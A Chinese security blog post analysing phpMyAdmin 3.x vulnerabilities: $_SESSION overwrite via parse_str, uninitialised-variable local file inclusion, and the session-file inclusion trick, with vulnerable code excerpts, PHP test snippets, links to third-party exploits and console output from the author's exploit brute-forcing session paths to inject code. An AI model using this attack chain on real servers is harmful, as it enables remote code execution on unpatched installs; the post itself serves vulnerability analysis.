Form:http://hi.baidu.com/hi%5Fheige/blog/item/2262ddfd98475998b901a0d5.html

先看看老外发布的漏洞公告《phpMyAdmin 3.x Multiple Remote Code Executions》,文章里总共提到了4个vulnerability。但是这些漏洞的关键是第一个漏洞,也就是通过parse_str实现覆盖$_SESSION变量的漏洞,而后面的3个都是,覆盖$_SESSION后的利用。这里赞一下漏洞发现者和phpmyadmin官方人员的意识,因为官方也承认了其他的3个漏洞并且给出了对应的修补方式,详细见:PMASA-2011-8/7/6/5 这个也就是我多次在blog和文章里提到的“二次攻击漏洞”及修补原则:“一切进入函数的变量是有害的”、“进入函数前那刹那的防御才是王道”...

再来具体看看漏洞原因及利用:

File: libraries/auth/swekey/swekey.auth.lib.php
   
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
    parse_str($_SERVER['QUERY_STRING']);
    session_write_close();
    session_id($session_to_unset);
    session_start();
    $_SESSION = array();
    session_write_close();
    session_destroy();
    exit;
}

对于parse_str($_SERVER['QUERY_STRING']);导致的变量覆盖的问题,大家应该不会陌生,在《高级PHP应用程序漏洞审核技术》就有提到。至于通过parse_str覆盖$_SESSION后的问题,由于当时我对php处理$_SESSION的问题的认识一直比较模糊,并且由于时间问题对phpmyadmin的这个漏洞提交流程确实全面的认识,就凭着以往的一些经验,在设置php.ini里的session.auto_start = 1,然后就成功触发了该漏洞,这个也就是wofeiwo公布的那个exploit里要求“session.auto_start = 1 in php.ini configuration.”的原因。不过对于为什么要求session.auto_start的原因,我还是不清楚,后来有时间时候,经过wofeiwo的指点才搞清楚:

<?php
//sess_1.php
$_SESSION['abcde'] = "aaaa";
session_start();
var_dump($_SESSION);
?>

<?php
//sess_2.php
session_start();
$_SESSION['abcde'] = "aaaa";
session_start();
var_dump($_SESSION);
?>

当session.auto_start =1是php自身自动实现了一个session_start();所以直接提交sess_1.php时必须要求session.auto_start = 1,$_SESSION['abcde'] = "aaaa";才可以注册成功。我们回到phpmyadmin那么只要我们,在require libraries/auth/swekey/swekey.auth.lib.php这个文件之前有session_start();就行,那么我们在\libraries\session.inc.php 里找到了满足要求的session_start():

if (! isset($_COOKIE[$session_name])) {
    // on first start of session we check for errors
    // f.e. session dir cannot be accessed - session file not created
    $orig_error_count = $GLOBALS['error_handler']->countErrors();
    $r = session_start();
    if ($r !== true || $orig_error_count != $GLOBALS['error_handler']->countErrors()) {
        setcookie($session_name, '', 1);
        PMA_fatalError('strSessionStartupErrorGeneral');
    }
    unset($orig_error_count);
} else {
    @session_start();  //这里
}

那么我们通过主页提交就可以了,具体的包含文件流程就不分析了。这时候作者也给出了他的一个exp:《phpMyAdmin 3.x Swekey Remote Code Injection Exploit》,但是经过测试你会发现这个exp的成功率不高及时满足config目录的条件下,这个是因为作者的exp里的playload受到魔术引号导致的,于是就有了oldjun的exp.

以上的exp都是基于漏洞公告里的“The second vulnerability”的利用,后来作者又给出了“The third vulnerability”的exp:http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html对于利用来讲,这个exp先天不足本身受魔术引号的影响!

另外值得一提的是,俄罗斯人M4g通过利用se牛发现的一个漏洞,找到了新的利用点:http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/

利用的是《MOPS-2010-060: PHP Session Serializer Session Data Injection Vulnerability》 ,至于为什么要用到这个漏洞,原因是phpmyadmin的session里的PMA_Config的类型是object,是没办法直接通过变量覆盖提交。有兴趣的可以自己测试。

最后还有一个“The fourth vulnerability”本地包含的漏洞没有exp了,于是我继续exp一下,最后发现就渗透利用而言这个才是最有“价值”的! 关键代码是:

File: libraries/display_tbl.lib.php
Lines: 707-710
   
if ($GLOBALS['cfgRelation']['commwork'] && $GLOBALS['cfgRelation']['mimework'] && $GLOBALS['cfg']['BrowseMIME'] && ! $_SESSION['tmp_user_values']['hide_transformation']) {
    require_once './libraries/transformations.lib.php';
    $GLOBALS['mime_map'] = PMA_getMIME($db, $table);
}

典型的“条件下变量初始化问题”,也就是说当if条件不满足的时候,变量$GLOBALS['mime_map']就没有赋值,也就是变量没有初始化!!至于exp的利用我采用里俄罗斯人的方法,包含sesson文件,暴力下session目录就ok了,不过蛋疼的是,php不让包含本次会话的session文件,如下测试代码:

<?php
$sesspath="/tmp";
session_start();
$_SESSION['abcde'] = "<?phpinfo();?>";
include($sesspath."sess_".session_id());
?>

最后给出exploit的效果:

root@ubuntu:/home/heige# php ./phpmyadmin_include_poc.php -h http://192.168.0.10/phpMyAdmin -u root -p  -d mysql
              .
       ,      )\     .
  .  ,/)   , /  ) ,  )\
  )\(  /)/( (__( /( /  )          __      __              ________        __                    __
 /  \  (   )|  |)  \  /          |  |\  /|  |            |  |  |  |      |  |                  (__)
(  ______ / |  |_____(  ______   |  | \/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____
 \|  | \  \ |  |  |  |)|  | \  \ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |
  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__|  |__| \__\_|__| |__|  |__|  |__| |__| |__|  |__|
==|__|=================|__|=========================|__|======================================================   
# pma3exp - phpMyAdmin3 local include exploit
# by 80vul
# codz base on http://www.xxor.se/uploads/phpmyadmin_preg_replace_rce_poc.php
# Reference: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html


[i] Running...
[*] Contacting server to authenticate.
[i] Cookie:pma_mcrypt_iv=O8GeDrSMyp4%3D; phpMyAdmin=8e295790f223d07054aab13c7fc87ac6629366c7; pmaUser-1=Zo1Pp49vdR0%3D; pmaPass-1=ggEX%2BxDMg3A%3D
[i] Token:1db063c5b08202ea26057a6cf3e82a5d
[i] Session:8e295790f223d07054aab13c7fc87ac6629366c7
[*] Please set args -s 8e295790f223d07054aab13c7fc87ac6629366c7 and try again
[*] Contacting server to poison some _SESSION variables.
root@ubuntu:/home/heige# php ./phpmyadmin_include_poc.php -h http://192.168.0.10/phpMyAdmin -u root -p  -d mysql -s 8e295790f223d07054aab13c7fc87ac6629366c7
              .
       ,      )\     .
  .  ,/)   , /  ) ,  )\
  )\(  /)/( (__( /( /  )          __      __              ________        __                    __
 /  \  (   )|  |)  \  /          |  |\  /|  |            |  |  |  |      |  |                  (__)
(  ______ / |  |_____(  ______   |  | \/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____
 \|  | \  \ |  |  |  |)|  | \  \ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |
  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__|  |__| \__\_|__| |__|  |__|  |__| |__| |__|  |__|
==|__|=================|__|=========================|__|======================================================   
# pma3exp - phpMyAdmin3 local include exploit
# by 80vul
# codz base on http://www.xxor.se/uploads/phpmyadmin_preg_replace_rce_poc.php
# Reference: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html


[i] Running...
[*] Contacting server to authenticate.
[i] Cookie:pma_mcrypt_iv=MSiItAKLpTs%3D; phpMyAdmin=d1e429fe86d129be587056a09d1f44b56a48e859; pmaUser-1=wlbi7hEJiGE%3D; pmaPass-1=XypvwpApS5k%3D
[i] Token:4ca3b4ca2bc3cf6c779109493386c181
[i] Session:d1e429fe86d129be587056a09d1f44b56a48e859
[*] Contacting server to poison some _SESSION variables.
[-] ../../../../../../../../../../../../../../../../tmp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../temp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/tmp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/lib/php/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/lib/php4/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/lib/php5/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/lib/php/session/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/lib/php4/session/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/lib/php5/session/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../shared/sessionssess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/php_sessions/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../var/sessions/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../tmp/php_sessions/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../tmp/sessions/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../../../../../../../../../../../../../../../tmp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../tmp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[-] ../../tmp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - bad path
[+] ../../../../tmp/sess_8e295790f223d07054aab13c7fc87ac6629366c7 - good path
[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!

故事好像到这里应该就要结束了,结果没过多久又出了个PMASA-2011-12 还是那个老外,还是那个文件,还是那个parse_str($_SERVER['QUERY_STRING']); ,有一种漏洞叫“相似性漏洞”!关于这个问题可能在我以后的文档里会提到,只是PMASA-2011-12里要达到parse_str($_SERVER['QUERY_STRING']);这个代码位置,条件非常苛刻!有兴趣的朋友请自己分析 :)

最后,感谢上面提交的那些朋友!